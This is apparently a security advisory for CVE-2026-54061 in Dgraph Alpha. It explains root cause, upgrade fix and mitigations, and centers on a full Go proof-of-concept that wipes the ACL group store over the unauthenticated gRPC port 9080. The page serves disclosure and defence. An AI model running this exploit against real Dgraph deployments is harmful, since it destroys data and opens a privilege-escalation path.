CVE-2026-54061: Dgraph Alpha Unauthenticated Remote Group Store Wipe via StreamExtSnapshot
An unauthenticated attacker who can reach Dgraph Alpha's public gRPC port can wipe or replace any group store, including the one holding access-control data, by calling an unprotected snapshot-import…

The problem
Dgraph Alpha exposes the StreamExtSnapshot gRPC RPC on its public port :9080 with no authentication or authorization check. The RPC also lacks a stream interceptor, so none of the usual auth middleware runs.
When the server receives the first message it immediately calls Badger's StreamWriter.Prepare(), which deletes the existing database before a single byte of attacker data arrives. In ACL-enabled deployments, targeting group 1 can destroy the ACL predicate store, which is a privilege-escalation path as well as a denial-of-service.
Proof of concept
A working proof-of-concept for CVE-2026-54061 in github.com/dgraph-io/dgraph/v25, with the exact payload below.
package main
import (
"context"
"fmt"
"io"
"log"
"github.com/dgraph-io/dgo/v250"
"github.com/dgraph-io/dgo/v250/protos/api"
)
func main() {
ctx := context.Background()
// No JWT, ACL token, or auth-token metadata attached.
dg, err := dgo.Open("dgraph://127.0.0.1:9080")
if err != nil {
log.Fatal(err)
}
defer dg.Close()
client := dg.GetAPIClients()[0]
stream, err := client.StreamExtSnapshot(ctx)
if err != nil {
log.Fatal(err)
}
// Step 1: select the target group (group 1 holds ACL/schema data).
if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {
log.Fatal(err)
}
if _, err := stream.Recv(); err != nil {
log.Fatal(err)
}
// Step 2: send Done=true. The server has already called
// pstore.NewStreamWriter().Prepare(), wiping the group store.
if err := stream.Send(&api.StreamExtSnapshotRequest{
Pkt: &api.StreamPacket{Done: true},
}); err != nil {
log.Fatal(err)
}
for {
resp, err := stream.Recv()
if err == io.EOF {
break
}
if err != nil {
log.Fatal(err)
}
if resp.GetFinish() {
fmt.Println("unauthenticated store wipe complete")
break
}
}
}The root cause is a missing authorization check in the StreamExtSnapshot handler. Streaming RPCs in Dgraph Alpha did not run through the same interceptor chain as unary RPCs, so the standard admin-token and JWT checks never fired.
The destructive action happens on the server side before any attacker data is consumed: worker.runLocalSubscriber calls pstore.NewStreamWriter().Prepare() immediately after the first GroupId message is received, clearing the Badger store. The fix in 25.3.5 adds an administrator authorization check at the entry point of both UpdateExtSnapshotStreamingState and StreamExtSnapshot, and adds a stream interceptor so streaming RPCs receive the same auth treatment as unary ones.
Connections must now be authorized before the drain-and-import flow can start.
The fix
Upgrade to dgraph v25.3.5. The patch adds administrator authorization checks at the start of StreamExtSnapshot and UpdateExtSnapshotStreamingState, and adds a gRPC stream interceptor so streaming RPCs are covered by the same auth middleware as unary RPCs. If upgrading immediately is not possible, block external access to gRPC port 9080 at the network layer, or enable mTLS on the public gRPC listener.
Related research
- high · 7.5CVE-2026-44840CVE-2026-44840: Dgraph DQL Injection via checkUserPassword GraphQL Query
- critical · 9.1CVE-2026-62325CVE-2026-62325: goshs SFTP Authentication Bypass via Empty Password
- high · 7.4CVE-2026-53714CVE-2026-53714: Envoy Gateway xDS Authentication Bypass in GatewayNamespaceMode
- critical · 9.6CVE-2026-53649CVE-2026-53649: Joro Unauthenticated Cross-Origin Plugin Upload RCE